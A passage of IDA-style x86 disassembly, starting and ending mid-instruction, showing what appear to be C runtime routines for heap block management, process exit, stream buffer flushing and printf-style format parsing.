[eax+edx*4+0C4h] mov edi, [eax+edx*4+44h] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41F2D2 loc_41F29C: ; CODE XREF: sub_41F1DB+ABj mov edx, [eax+0C4h] and edx, [ebp+var_8] and [ebp+var_4], 0 lea ecx, [eax+44h] mov esi, [ecx] and esi, [ebp+var_C] or edx, esi mov esi, [ebp+var_C] jnz short loc_41F2CF loc_41F2B8: ; CODE XREF: sub_41F1DB+F2j mov edx, [ecx+84h] and edx, [ebp+var_8] inc [ebp+var_4] add ecx, 4 mov edi, [ecx] and edi, esi or edx, edi jz short loc_41F2B8 loc_41F2CF: ; CODE XREF: sub_41F1DB+DBj mov edx, [ebp+var_4] loc_41F2D2: ; CODE XREF: sub_41F1DB+BFj mov ecx, edx imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [eax+edx*4+44h] xor edi, edi and ecx, esi jnz short loc_41F35B mov ecx, [eax+edx*4+0C4h] and ecx, [ebp+var_8] push 20h pop edi jmp short loc_41F35B ; --------------------------------------------------------------------------- loc_41F2FD: ; CODE XREF: sub_41F1DB+131j cmp dword ptr [ebx+8], 0 jnz short loc_41F30E add ebx, 14h mov [ebp+arg_0], ebx loc_41F309: ; CODE XREF: sub_41F1DB+94j cmp ebx, [ebp+var_4] jb short loc_41F2FD loc_41F30E: ; CODE XREF: sub_41F1DB+126j cmp ebx, [ebp+var_4] jnz short loc_41F339 mov ebx, edx jmp short loc_41F320 ; --------------------------------------------------------------------------- loc_41F317: ; CODE XREF: sub_41F1DB+14Aj cmp dword ptr [ebx+8], 0 jnz short loc_41F327 add ebx, 14h loc_41F320: ; CODE XREF: sub_41F1DB+13Aj cmp ebx, eax mov [ebp+arg_0], ebx jb short loc_41F317 loc_41F327: ; CODE XREF: sub_41F1DB+140j cmp ebx, eax jnz short loc_41F339 call sub_41ED3F mov ebx, eax test ebx, ebx mov [ebp+arg_0], ebx jz short loc_41F351 loc_41F339: ; CODE XREF: sub_41F1DB+136j ; sub_41F1DB+14Ej push ebx call sub_41EDF6 pop ecx mov ecx, [ebx+10h] mov [ecx], eax mov eax, [ebx+10h] cmp dword ptr [eax], 0FFFFFFFFh jnz loc_41F275 loc_41F351: ; CODE XREF: sub_41F1DB+15Cj xor eax, eax jmp loc_41F4D2 ; --------------------------------------------------------------------------- loc_41F358: ; CODE XREF: sub_41F1DB+182j shl ecx, 1 inc edi loc_41F35B: ; CODE XREF: sub_41F1DB+111j ; sub_41F1DB+120j test ecx, ecx jge short loc_41F358 mov ecx, [ebp+var_C] mov edx, [ecx+edi*8+4] mov ecx, [edx] sub ecx, [ebp+var_10] mov esi, ecx sar esi, 4 dec esi cmp esi, 3Fh mov [ebp+var_8], ecx jle short loc_41F37C push 3Fh pop esi loc_41F37C: ; CODE XREF: sub_41F1DB+19Cj cmp esi, edi jz loc_41F485 mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_41F3E8 cmp edi, 20h mov ebx, 80000000h jge short loc_41F3BC mov ecx, edi shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] not ebx mov [ebp+var_14], ebx and ebx, [eax+ecx*4+44h] mov [eax+ecx*4+44h], ebx dec byte ptr [edi] jnz short loc_41F3E5 mov ecx, [ebp+var_14] mov ebx, [ebp+arg_0] and [ebx], ecx jmp short loc_41F3E8 ; --------------------------------------------------------------------------- loc_41F3BC: ; CODE XREF: sub_41F1DB+1B9j lea ecx, [edi-20h] shr ebx, cl mov ecx, [ebp+var_4] lea ecx, [eax+ecx*4+0C4h] lea edi, [eax+edi+4] not ebx and [ecx], ebx dec byte ptr [edi] mov [ebp+var_14], ebx jnz short loc_41F3E5 mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx+4], ecx jmp short loc_41F3E8 ; --------------------------------------------------------------------------- loc_41F3E5: ; CODE XREF: sub_41F1DB+1D5j ; sub_41F1DB+1FDj mov ebx, [ebp+arg_0] loc_41F3E8: ; CODE XREF: sub_41F1DB+1AFj ; sub_41F1DB+1DFj ... cmp [ebp+var_8], 0 mov ecx, [edx+8] mov edi, [edx+4] mov [ecx+4], edi mov ecx, [edx+4] mov edi, [edx+8] mov [ecx+8], edi jz loc_41F491 mov ecx, [ebp+var_C] lea ecx, [ecx+esi*8] mov edi, [ecx+4] mov [edx+8], ecx mov [edx+4], edi mov [ecx+4], edx mov ecx, [edx+4] mov [ecx+8], edx mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_41F482 mov cl, [esi+eax+4] mov byte ptr [ebp+arg_0+3], cl inc cl cmp esi, 20h mov [esi+eax+4], cl jge short loc_41F459 cmp byte ptr [ebp+arg_0+3], 0 jnz short loc_41F447 mov edi, 80000000h mov ecx, esi shr edi, cl or [ebx], edi loc_41F447: ; CODE XREF: sub_41F1DB+25Fj mov ecx, esi mov edi, 80000000h shr edi, cl mov ecx, [ebp+var_4] or [eax+ecx*4+44h], edi jmp short loc_41F482 ; --------------------------------------------------------------------------- loc_41F459: ; CODE XREF: sub_41F1DB+259j cmp byte ptr [ebp+arg_0+3], 0 jnz short loc_41F46C lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl or [ebx+4], edi loc_41F46C: ; CODE XREF: sub_41F1DB+282j mov ecx, [ebp+var_4] lea edi, [eax+ecx*4+0C4h] lea ecx, [esi-20h] mov esi, 80000000h shr esi, cl or [edi], esi loc_41F482: ; CODE XREF: sub_41F1DB+247j ; sub_41F1DB+27Cj mov ecx, [ebp+var_8] loc_41F485: ; CODE XREF: sub_41F1DB+1A3j test ecx, ecx jz short loc_41F494 mov [edx], ecx mov [ecx+edx-4], ecx jmp short loc_41F494 ; --------------------------------------------------------------------------- loc_41F491: ; CODE XREF: sub_41F1DB+223j mov ecx, [ebp+var_8] loc_41F494: ; CODE XREF: sub_41F1DB+2ACj ; sub_41F1DB+2B4j mov esi, [ebp+var_10] add edx, ecx lea ecx, [esi+1] mov [edx], ecx mov [edx+esi-4], ecx mov esi, [ebp+var_C] mov ecx, [esi] test ecx, ecx lea edi, [ecx+1] mov [esi], edi jnz short loc_41F4CA cmp ebx, ds:dword_43959C jnz short loc_41F4CA mov ecx, [ebp+var_4] cmp ecx, ds:dword_4395B4 jnz short loc_41F4CA and ds:dword_43959C, 0 loc_41F4CA: ; CODE XREF: sub_41F1DB+2D3j ; sub_41F1DB+2DBj ... mov ecx, [ebp+var_4] mov [eax], ecx lea eax, [edx+4] loc_41F4D2: ; CODE XREF: sub_41F1DB+178j pop edi pop esi pop ebx leave retn sub_41F1DB endp ; =============== S U B R O U T I N E ======================================= sub_41F4D7 proc near ; CODE XREF: sub_41DC92+1Cp ; sub_41F59B+A5p var_C = dword ptr -0Ch var_8 = dword ptr -8 push offset aMscoree_dll ; "mscoree.dll" call ds:dword_4290BC ; GetModuleHandleA test eax, eax jz short loc_41F4FC push offset aCorexitprocess ; "CorExitProcess" push eax call ds:dword_4290E0 ; GetProcAddress test eax, eax jz short loc_41F4FC push [esp+0Ch+var_8] call eax ; dword_433070 loc_41F4FC: ; CODE XREF: sub_41F4D7+Dj ; sub_41F4D7+1Dj push [esp+10h+var_C] call ds:dword_4290E8 ; ExitProcess int 3 ; Trap to Debugger sub_41F4D7 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41F507 proc near ; CODE XREF: sub_41C556+Cp push 8 call sub_41E983 pop ecx retn sub_41F507 endp ; =============== S U B R O U T I N E ======================================= sub_41F510 proc near ; CODE XREF: sub_41C588p push 8 call sub_41E8CE pop ecx retn sub_41F510 endp ; =============== S U B R O U T I N E ======================================= sub_41F519 proc near ; CODE XREF: sub_41F59B+78p ; sub_41F59B+88p arg_0 = dword ptr 4 push esi mov esi, eax jmp short loc_41F529 ; --------------------------------------------------------------------------- loc_41F51E: ; CODE XREF: sub_41F519+14j mov eax, [esi] test eax, eax jz short loc_41F526 call eax loc_41F526: ; CODE XREF: sub_41F519+9j add esi, 4 loc_41F529: ; CODE XREF: sub_41F519+3j cmp esi, [esp+4+arg_0] jb short loc_41F51E pop esi retn sub_41F519 endp ; =============== S U B R O U T I N E ======================================= sub_41F531 proc near ; CODE XREF: start-1C20Cp arg_0 = dword ptr 4 mov eax, ds:off_43313C test eax, eax jz short loc_41F541 push [esp+arg_0] call eax ; sub_41E530 pop ecx loc_41F541: ; CODE XREF: sub_41F531+7j push esi push edi mov ecx, offset dword_433044 mov edi, offset dword_43305C xor eax, eax cmp ecx, edi mov esi, ecx jnb short loc_41F56C loc_41F555: ; CODE XREF: sub_41F531+35j test eax, eax jnz short loc_41F598 mov ecx, [esi] test ecx, ecx jz short loc_41F561 call ecx loc_41F561: ; CODE XREF: sub_41F531+2Cj add esi, 4 cmp esi, edi jb short loc_41F555 test eax, eax jnz short loc_41F598 loc_41F56C: ; CODE XREF: sub_41F531+22j push offset sub_422D01 call sub_41C58E mov esi, offset dword_433000 mov eax, esi mov edi, offset dword_433040 cmp eax, edi pop ecx jnb short loc_41F596 loc_41F587: ; CODE XREF: sub_41F531+63j mov eax, [esi] test eax, eax jz short loc_41F58F call eax loc_41F58F: ; CODE XREF: sub_41F531+5Aj add esi, 4 cmp esi, edi jb short loc_41F587 loc_41F596: ; CODE XREF: sub_41F531+54j xor eax, eax loc_41F598: ; CODE XREF: sub_41F531+26j ; sub_41F531+39j pop edi pop esi retn sub_41F531 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F59B proc near ; CODE XREF: sub_41F65E+8p ; sub_41F66F+8p ... ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h ; FUNCTION CHUNK AT 0041F658 SIZE 00000006 BYTES push 8 push offset stru_4296E8 call __SEH_prolog push 8 call sub_41E983 pop ecx xor edi, edi mov [ebp+ms_exc.disabled], edi xor esi, esi inc esi cmp ds:dword_43569C, esi jnz short loc_41F5CF push [ebp+arg_0] call ds:dword_4290A4 ; GetCurrentProcess push eax call ds:dword_429160 ; TerminateProcess loc_41F5CF: ; CODE XREF: sub_41F59B+22j mov ds:dword_435698, esi mov al, byte ptr [ebp+arg_8] mov ds:byte_435694, al cmp [ebp+arg_4], edi jnz short loc_41F619 cmp ds:dword_439594, edi jz short loc_41F609 loc_41F5EA: ; CODE XREF: sub_41F59B+68j ; sub_41F59B+6Cj mov eax, ds:dword_439590 sub eax, 4 mov ds:dword_439590, eax cmp eax, ds:dword_439594 jb short loc_41F609 mov eax, [eax] cmp eax, edi jz short loc_41F5EA call eax jmp short loc_41F5EA ; --------------------------------------------------------------------------- loc_41F609: ; CODE XREF: sub_41F59B+4Dj ; sub_41F59B+62j push offset dword_43306C mov eax, offset dword_433060 call sub_41F519 pop ecx loc_41F619: ; CODE XREF: sub_41F59B+45j push offset dword_433078 mov eax, offset dword_433070 call sub_41F519 pop ecx or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_41F64A cmp [ebp+arg_8], edi jnz short loc_41F658 mov ds:dword_43569C, esi push [ebp+arg_0] call sub_41F4D7 loc_41F645: ; DATA XREF: .text:stru_4296E8o xor edi, edi xor esi, esi inc esi sub_41F59B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41F64A proc near ; CODE XREF: sub_41F59B+92p cmp [ebp+10h], edi jz short locret_41F657 push 8 call sub_41E8CE pop ecx locret_41F657: ; CODE XREF: sub_41F64A+3j retn sub_41F64A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41F59B loc_41F658: ; CODE XREF: sub_41F59B+9Aj call __SEH_epilog retn ; END OF FUNCTION CHUNK FOR sub_41F59B ; =============== S U B R O U T I N E ======================================= sub_41F65E proc near ; CODE XREF: start-1C1BBp arg_0 = dword ptr 4 push 0 push 0 push [esp+8+arg_0] call sub_41F59B add esp, 0Ch retn sub_41F65E endp ; =============== S U B R O U T I N E ======================================= sub_41F66F proc near ; CODE XREF: sub_41D7EC+6p ; sub_41DC6D+1Cp ... arg_0 = dword ptr 4 push 0 push 1 push [esp+8+arg_0] call sub_41F59B add esp, 0Ch retn sub_41F66F endp ; =============== S U B R O U T I N E ======================================= sub_41F680 proc near ; CODE XREF: start:loc_41DE4Ap push 1 push 0 push 0 call sub_41F59B add esp, 0Ch retn sub_41F680 endp ; =============== S U B R O U T I N E ======================================= sub_41F68F proc near ; CODE XREF: .text:loc_41DE77p push 1 push 1 push 0 call sub_41F59B add esp, 0Ch retn sub_41F68F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F69E proc near ; CODE XREF: sub_41C4AE+7p var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 push 10h push offset stru_4296F8 call __SEH_prolog cmp ds:dword_4395BC, 3 jnz short loc_41F6ED push 4 call sub_41E983 pop ecx and [ebp+ms_exc.disabled], 0 mov esi, [ebp+arg_0] push esi call sub_41E9FC pop ecx mov [ebp+var_20], eax test eax, eax jz short loc_41F6DB mov esi, [esi-4] sub esi, 9 mov [ebp+var_1C], esi jmp short loc_41F6DE ; --------------------------------------------------------------------------- loc_41F6DB: ; CODE XREF: sub_41F69E+30j mov esi, [ebp+var_1C] loc_41F6DE: ; CODE XREF: sub_41F69E+3Bj or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_41F70B cmp [ebp+var_20], 0 jnz short loc_41F700 loc_41F6ED: ; CODE XREF: sub_41F69E+13j push [ebp+arg_0] push 0 push ds:dword_4395B8 call ds:dword_429180 ; RtlSizeHeap mov esi, eax loc_41F700: ; CODE XREF: sub_41F69E+4Dj mov eax, esi call __SEH_epilog retn sub_41F69E endp ; =============== S U B R O U T I N E ======================================= sub_41F708 proc near ; DATA XREF: .text:stru_4296F8o mov esi, [ebp-1Ch] sub_41F708 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41F70B proc near ; CODE XREF: sub_41F69E+44p push 4 call sub_41E8CE pop ecx retn sub_41F70B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F714 proc near ; CODE XREF: sub_41CA2D+4Bp ; sub_41D201+4Ap ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] mov eax, [esi+0Ch] test al, 82h mov ebx, [esi+10h] jz loc_41F820 test al, 40h jnz loc_41F820 test al, 1 jz short loc_41F74D and dword ptr [esi+4], 0 test al, 10h jz loc_41F820 mov ecx, [esi+8] and eax, 0FFFFFFFEh mov [esi], ecx mov [esi+0Ch], eax loc_41F74D: ; CODE XREF: sub_41F714+20j mov eax, [esi+0Ch] and dword ptr [esi+4], 0 and [ebp+arg_4], 0 and eax, 0FFFFFFEFh or eax, 2 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_41F789 cmp esi, offset dword_4335B0 jz short loc_41F777 cmp esi, offset dword_4335D0 jnz short loc_41F782 loc_41F777: ; CODE XREF: sub_41F714+59j push ebx call sub_424160 test eax, eax pop ecx jnz short loc_41F789 loc_41F782: ; CODE XREF: sub_41F714+61j push esi call sub_42411C pop ecx loc_41F789: ; CODE XREF: sub_41F714+51j ; sub_41F714+6Cj test word ptr [esi+0Ch], 108h push edi jz short loc_41F7F6 mov eax, [esi+8] mov edi, [esi] lea ecx, [eax+1] mov [esi], ecx mov ecx, [esi+18h] sub edi, eax dec ecx test edi, edi mov [esi+4], ecx jle short loc_41F7B6 push edi push eax push ebx call sub_422410 mov [ebp+arg_4], eax jmp short loc_41F7E9 ; --------------------------------------------------------------------------- loc_41F7B6: ; CODE XREF: sub_41F714+93j cmp ebx, 0FFFFFFFFh jz short loc_41F7D4 mov ecx, ebx sar ecx, 5 mov ecx, ds:dword_438460[ecx*4] mov eax, ebx and eax, 1Fh lea eax, [eax+eax*8] lea eax, [ecx+eax*4] jmp short loc_41F7D9 ; --------------------------------------------------------------------------- loc_41F7D4: ; CODE XREF: sub_41F714+A5j mov eax, offset dword_433938 loc_41F7D9: ; CODE XREF: sub_41F714+BEj test byte ptr [eax+4], 20h jz short loc_41F7EC push 2 push 0 push ebx call sub_424071 loc_41F7E9: ; CODE XREF: sub_41F714+A0j add esp, 0Ch loc_41F7EC: ; CODE XREF: sub_41F714+C9j mov eax, [esi+8] mov cl, byte ptr [ebp+arg_0] mov [eax], cl jmp short loc_41F80A ; --------------------------------------------------------------------------- loc_41F7F6: ; CODE XREF: sub_41F714+7Cj xor edi, edi inc edi push edi lea eax, [ebp+arg_0] push eax push ebx call sub_422410 add esp, 0Ch mov [ebp+arg_4], eax loc_41F80A: ; CODE XREF: sub_41F714+E0j cmp [ebp+arg_4], edi pop edi jz short loc_41F816 or dword ptr [esi+0Ch], 20h jmp short loc_41F826 ; --------------------------------------------------------------------------- loc_41F816: ; CODE XREF: sub_41F714+FAj mov eax, [ebp+arg_0] and eax, 0FFh jmp short loc_41F829 ; --------------------------------------------------------------------------- loc_41F820: ; CODE XREF: sub_41F714+10j ; sub_41F714+18j ... or eax, 20h mov [esi+0Ch], eax loc_41F826: ; CODE XREF: sub_41F714+100j or eax, 0FFFFFFFFh loc_41F829: ; CODE XREF: sub_41F714+10Aj pop esi pop ebx pop ebp retn sub_41F714 endp ; =============== S U B R O U T I N E ======================================= sub_41F82D proc near ; CODE XREF: sub_41F860+11p ; sub_41F884+22p ... test byte ptr [ecx+0Ch], 40h jz short loc_41F839 cmp dword ptr [ecx+8], 0 jz short loc_41F85D loc_41F839: ; CODE XREF: sub_41F82D+4j dec dword ptr [ecx+4] js short loc_41F849 mov edx, [ecx] mov [edx], al inc dword ptr [ecx] movzx eax, al jmp short loc_41F855 ; --------------------------------------------------------------------------- loc_41F849: ; CODE XREF: sub_41F82D+Fj movsx eax, al push ecx push eax call sub_41F714 pop ecx pop ecx loc_41F855: ; CODE XREF: sub_41F82D+1Aj cmp eax, 0FFFFFFFFh jnz short loc_41F85D or [esi], eax retn ; --------------------------------------------------------------------------- loc_41F85D: ; CODE XREF: sub_41F82D+Aj ; sub_41F82D+2Bj inc dword ptr [esi] retn sub_41F82D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F860 proc near ; CODE XREF: sub_41F8BB+6EFp ; sub_41F8BB+71Dp ... arg_0 = byte ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi mov esi, eax jmp short loc_41F87B ; --------------------------------------------------------------------------- loc_41F868: ; CODE XREF: sub_41F860+1Fj mov ecx, [ebp+arg_8] mov al, [ebp+arg_0] dec [ebp+arg_4] call sub_41F82D cmp dword ptr [esi], 0FFFFFFFFh jz short loc_41F881 loc_41F87B: ; CODE XREF: sub_41F860+6j cmp [ebp+arg_4], 0 jg short loc_41F868 loc_41F881: ; CODE XREF: sub_41F860+19j pop esi pop ebp retn sub_41F860 endp ; =============== S U B R O U T I N E ======================================= sub_41F884 proc near ; CODE XREF: sub_41F8BB+706p ; sub_41F8BB+767p ... arg_0 = dword ptr 4 test byte ptr [edi+0Ch], 40h push ebx push esi mov esi, eax mov ebx, ecx jz short loc_41F8B1 cmp dword ptr [edi+8], 0 jnz short loc_41F8B1 mov eax, [esp+8+arg_0] add [esi], eax jmp short loc_41F8B8 ; --------------------------------------------------------------------------- loc_41F89E: ; CODE XREF: sub_41F884+32j mov al, [ebx] dec [esp+8+arg_0] mov ecx, edi call sub_41F82D inc ebx cmp dword ptr [esi], 0FFFFFFFFh jz short loc_41F8B8 loc_41F8B1: ; CODE XREF: sub_41F884+Aj ; sub_41F884+10j cmp [esp+8+arg_0], 0 jg short loc_41F89E loc_41F8B8: ; CODE XREF: sub_41F884+18j ; sub_41F884+2Bj pop esi pop ebx retn sub_41F884 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=1D4h sub_41F8BB proc near ; CODE XREF: sub_41CA2D+2Ap ; sub_41D201+29p ... var_254 = dword ptr -254h var_250 = dword ptr -250h var_248 = dword ptr -248h var_244 = dword ptr -244h var_240 = dword ptr -240h var_23C = dword ptr -23Ch var_238 = dword ptr -238h var_234 = dword ptr -234h var_230 = dword ptr -230h var_22C = dword ptr -22Ch var_228 = dword ptr -228h var_224 = byte ptr -224h var_223 = byte ptr -223h var_220 = dword ptr -220h var_21C = dword ptr -21Ch var_218 = dword ptr -218h var_214 = dword ptr -214h var_210 = dword ptr -210h var_20C = byte ptr -20Ch var_D = byte ptr -0Dh var_C = byte ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp lea ebp, [esp-1D4h] sub esp, 254h mov eax, ds:dword_433148 mov [ebp+1D4h+var_4], eax xor eax, eax mov [ebp+1D4h+var_21C], eax mov [ebp+1D4h+var_220], eax mov [ebp+1D4h+var_234], eax mov eax, [ebp+1D4h+arg_4] push ebx mov bl, [eax] xor ecx, ecx test bl, bl jz loc_42007E push esi push edi mov edi, eax jmp short loc_41F8FB ; --------------------------------------------------------------------------- loc_41F8F8: ; CODE XREF: sub_41F8BB+7BBj mov ecx, [ebp+1D4h+var_244] loc_41F8FB: ; CODE XREF: sub_41F8BB+3Bj inc edi cmp [ebp+1D4h+var_220], 0 mov [ebp+1D4h+arg_4], edi jl loc_42007C cmp bl, 20h jl short loc_41F925 cmp bl, 78h jg short loc_41F925 movsx eax, bl movsx eax, byte ptr ds:stru_4296E8._unk[eax] and eax, 0Fh jmp short loc_41F927 ; --------------------------------------------------------------------------- loc_41F925: ; CODE XREF: sub_41F8BB+54j ; sub_41F8BB+59j xor eax, eax loc_41F927: ; CODE XREF: sub_41F8BB+68j movsx eax, ds:byte_429708[ecx+eax*8] push 7 sar eax, 4 pop ecx cmp eax, ecx ; switch 8 cases mov [ebp+1D4h+var_244], eax ja loc_42006C ; default jmp ds:off_420095[eax*4] ; switch jump loc_41F947: ; DATA XREF: .text:off_420095o xor eax, eax ; jumptable 0041F940 case 1 or [ebp+1D4h+var_214], 0FFFFFFFFh mov [ebp+1D4h+var_240], eax mov [ebp+1D4h+var_238], eax mov [ebp+1D4h+var_22C], eax mov [ebp+1D4h+var_228], eax mov [ebp+1D4h+var_210], eax mov [ebp+1D4h+var_230], eax jmp loc_42006C ; default ; --------------------------------------------------------------------------- loc_41F964: ; CODE XREF: sub_41F8BB+85j ; DATA XREF: .text:off_420095o movsx eax, bl ; jumptable 0041F940 case 2 sub eax, 20h jz short loc_41F9A7 sub eax, 3 jz short loc_41F99E sub eax, 8 jz short loc_41F995 dec eax dec eax jz short loc_41F98C sub eax, 3 jnz loc_42006C ; default or [ebp+1D4h+var_210], 8 jmp loc_42006C ; default ; --------------------------------------------------------------------------- loc_41F98C: ; CODE XREF: sub_41F8BB+BDj or [ebp+1D4h+var_210], 4 jmp loc_42006C ; default ; --------------------------------------------------------------------------- loc_41F995: ; CODE XREF: sub_41F8BB+B9j or [ebp+1D4h+var_210], 1 jmp loc_42006C ; default ; --------------------------------------------------------------------------- loc_41F99E: ; CODE XREF: sub_41F8BB+B4j or byte ptr [ebp+1D4h+var_210], 80h jmp loc_42006C ; default ; --------------------------------------------------------------------------- loc_41F9A7: ; CODE XREF: sub_41F8BB+AFj or [ebp+1D4h+var_210], 2 jmp loc_42006C ; default ; --------------------------------------------------------------------------- loc_41F9B0: ; CODE XREF: sub_41F8BB+85j ; DATA XREF: .text:off_420095o cmp bl, 2Ah ; jumptable 0041F940 case 3 jnz short loc_41F9DC add [ebp+1D4h+arg_8], 4 mov eax, [ebp+1D4h+arg_8] mov eax, [eax-4] test eax, eax mov [ebp+1D4h+var_22C], eax jge loc_42006C ; default or [ebp+1D4h+var_210], 4 neg [ebp+1D4h+var_22C] jmp loc_42006C ; default ; --------------------------------------------------------------------------- loc_41F9DC: ; CODE XREF: sub_41F8BB+F8j mov eax, [ebp+1D4h+var_22C] movsx ecx, bl lea eax, [eax+eax*4] lea eax, [ecx+eax*2-30h] mov [ebp+1D4h+var_22C], eax jmp loc_42006C ; default ; --------------------------------------------------------------------------- loc_41F9F1: ; CODE XREF: sub_41F8BB+85j ; DATA XREF: .text:off_420095o and [ebp+1D4h+var_214], 0 ; jumptable 0041F940 case 4 jmp loc_42006C ; default ; --------------------------------------------------------------------------- loc_41F9FA: ; CODE XREF: sub_41F8BB+85j ; DATA XREF: .text:off_420095o cmp bl, 2Ah ; jumptable 0041F940 case 5 jnz short loc_41FA23 add [ebp+1D4h+arg_8], 4 mov eax, [ebp+1D4h+arg_8] mov eax, [eax-4] test eax, eax mov [ebp+1D4h+var_214], eax jge loc_42006C ; default or [ebp+1D4h+var_214], 0FFFFFFFFh jmp loc_42006C ; default ; --------------------------------------------------------------------------- loc_41FA23: ; CODE XREF: sub_41F8BB+142j mov eax, [ebp+1D4h+var_214] movsx ecx, bl lea eax, [eax+eax*4] lea eax, [ecx+eax*2-30h] mov [ebp+1D4h+var_214], eax jmp loc_42006C ; default ; --------------------------------------------------------------------------- loc_41FA38: ; CODE XREF: sub_41F8BB+85j ; DATA XREF: .text:off_420095o cmp bl, 49h ; jumptable 0041F940 case 6 jz short loc_41FA6B cmp bl, 68h jz short loc_41FA62 cmp bl, 6Ch jz short loc_41FA59 cmp bl, 77h jnz loc_42006C ; default or byte ptr [ebp+1D4h+var_210+1], 8 jmp loc_42006C ; default ; --------------------------------------------------------------------------- loc_41FA59: ; CODE XREF: sub_41F8BB+18Aj or [ebp+1D4h+var_210], 10h jmp loc_42006C ; default ; --------------------------------------------------------------------------- loc_41FA62: ; CODE XREF: sub_41F8BB+185j or [ebp+1D4h+var_210], 20h jmp loc_42006C ; default ; --------------------------------------------------------------------------- loc_41FA6B: ; CODE XREF: sub_41F8BB+180j mov al, [edi] cmp al, 36h jnz short loc_41FA88 cmp byte ptr [edi+1], 34h jnz short loc_41FA88 inc edi inc edi or byte ptr [ebp+1D4h+var_210+1], 80h mov [ebp+1D4h+arg_4], edi jmp loc_42006C ; default ; --------------------------------------------------------------------------- loc_41FA88: ; CODE XREF: sub_41F8BB+1B4j ; sub_41F8BB+1BAj cmp al, 33h jnz short loc_41FAA3 cmp byte ptr [edi+1], 32h jnz short loc_41FAA3 inc edi inc edi and byte ptr [ebp+1D4h+var_210+1], 7Fh mov [ebp+1D4h+arg_4], edi jmp loc_42006C ; default ; --------------------------------------------------------------------------- loc_41FAA3: ; CODE XREF: sub_41F8BB+1CFj ; sub_41F8BB+1D5j cmp al, 64h jz loc_42006C ; default cmp al, 69h jz loc_42006C ; default cmp al, 6Fh jz loc_42006C ; default cmp al, 75h jz loc_42006C ; default cmp al, 78h jz loc_42006C ; default cmp al, 58h jz loc_42006C ; default and [ebp+1D4h+var_244], 0 loc_41FAD7: ; CODE XREF: sub_41F8BB+85j ; DATA XREF: .text:off_420095o mov ecx, ds:off_4333E0 ; jumptable 0041F940 case 0 and [ebp+1D4h+var_230], 0 movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_41FB04 mov ecx, [ebp+1D4h+arg_0] lea esi, [ebp+1D4h+var_220] mov al, bl call sub_41F82D mov bl, [edi] inc edi mov [ebp+1D4h+arg_4], edi loc_41FB04: ; CODE XREF: sub_41F8BB+22Ej mov ecx, [ebp+1D4h+arg_0] lea esi, [ebp+1D4h+var_220] mov al, bl call sub_41F82D jmp loc_42006C ; default ; --------------------------------------------------------------------------- loc_41FB19: ; CODE XREF: sub_41F8BB+85j ; DATA XREF: .text:off_420095o movsx eax, bl ; jumptable 0041F940 case 7 cmp eax, 67h jg loc_41FD7D cmp eax, 65h jge loc_41FBB4 cmp eax, 58h jg loc_41FC15 jz loc_41FDFE sub eax, 43h jz loc_41FBD4 dec eax dec eax jz short loc_41FBAA dec eax dec eax jz short loc_41FBAA sub eax, 0Ch jnz loc_41FF58 test word ptr [ebp+1D4h+var_210], 830h jnz short loc_41FB63 or byte ptr [ebp+1D4h+var_210+1], 8 loc_41FB63: ; CODE XREF: sub_41F8BB+2A2j ; sub_41F8BB+4E1j mov ecx, [ebp+1D4h+var_214] cmp ecx, 0FFFFFFFFh jnz short loc_41FB70 mov ecx, 7FFFFFFFh loc_41FB70: ; CODE XREF: sub_41F8BB+2AEj add [ebp+1D4h+arg_8], 4 test word ptr [ebp+1D4h+var_210], 810h mov eax, [ebp+1D4h+arg_8] mov eax, [eax-4] mov [ebp+1D4h+var_218], eax jz loc_41FDD3 test eax, eax jnz short loc_41FB9B mov eax, ds:off_433274 mov [ebp+1D4h+var_218], eax loc_41FB9B: ; CODE XREF: sub_41F8BB+2D6j mov eax, [ebp+1D4h+var_218] mov [ebp+1D4h+var_230], 1 jmp loc_41FDC5 ; --------------------------------------------------------------------------- loc_41FBAA: ; CODE XREF: sub_41F8BB+28Dj ; sub_41F8BB+291j mov [ebp+1D4h+var_240], 1 add bl, 20h loc_41FBB4: ; CODE XREF: sub_41F8BB+26Dj or [ebp+1D4h+var_210], 40h cmp [ebp+1D4h+var_214], 0 lea esi, [ebp+1D4h+var_20C] mov [ebp+1D4h+var_218], esi jge loc_41FCC1 mov [ebp+1D4h+var_214], 6 jmp loc_41FD08 ; --------------------------------------------------------------------------- loc_41FBD4: ; CODE XREF: sub_41F8BB+285j test word ptr [ebp+1D4h+var_210], 830h jnz short loc_41FBE0 or byte ptr [ebp+1D4h+var_210+1], 8 loc_41FBE0: ; CODE XREF: sub_41F8BB+31Fj ; sub_41F8BB+362j add [ebp+1D4h+arg_8], 4 test word ptr [ebp+1D4h+var_210], 810h mov eax, [ebp+1D4h+arg_8] jz short loc_41FC5A movsx eax, word ptr [eax-4] push eax lea eax, [ebp+1D4h+var_20C] push eax call sub_4241EA test eax, eax pop ecx pop ecx mov 